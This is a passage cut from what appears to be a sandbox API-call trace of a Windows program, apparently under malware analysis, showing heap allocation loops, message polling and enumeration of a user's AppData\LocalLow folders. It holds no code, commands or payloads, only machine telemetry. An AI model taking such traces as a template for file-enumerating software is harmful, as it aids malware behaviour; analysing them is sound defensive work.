hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0269.930] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0269.930] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0269.931] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0269.931] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0269.931] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0269.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0269.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0269.931] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0269.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0269.931] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0269.931] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0269.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0269.931] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0269.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0269.931] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0269.931] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0269.931] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0269.931] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0269.931] PathFindFileNameW (pszPath="") returned="" [0269.931] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0269.931] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0269.932] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0269.932] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.932] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0269.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0269.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30824e0 [0269.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c) returned 0x3076e18 [0269.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0269.932] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30824e0 | out: hHeap=0x640000) returned 1 [0269.932] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0269.932] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0269.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0269.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0269.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x38) returned 0x3091560 [0269.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0269.932] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0269.932] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0269.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0269.932] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0269.932] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0269.932] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0269.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0269.932] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30824e0 [0269.933] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x54) returned 0x3083390 [0269.933] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30828a0 [0269.933] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0269.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0269.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa50e8 | out: hHeap=0x640000) returned 1 [0269.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3091560 | out: hHeap=0x640000) returned 1 [0269.933] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0269.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30824e0 | out: hHeap=0x640000) returned 1 [0269.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0269.933] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0269.933] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0269.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0269.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0269.933] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0269.933] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0269.933] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0269.933] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.933] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.933] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.933] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.934] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.934] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.934] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.934] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.934] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.934] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.934] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.934] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.934] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.934] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0269.934] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.934] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.934] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.934] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0269.935] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0269.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0269.935] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0269.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.935] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.935] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0269.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.937] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.937] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.937] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.937] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.937] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.937] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.937] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.937] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.937] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.937] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.937] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.937] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.937] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.937] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0269.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0269.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 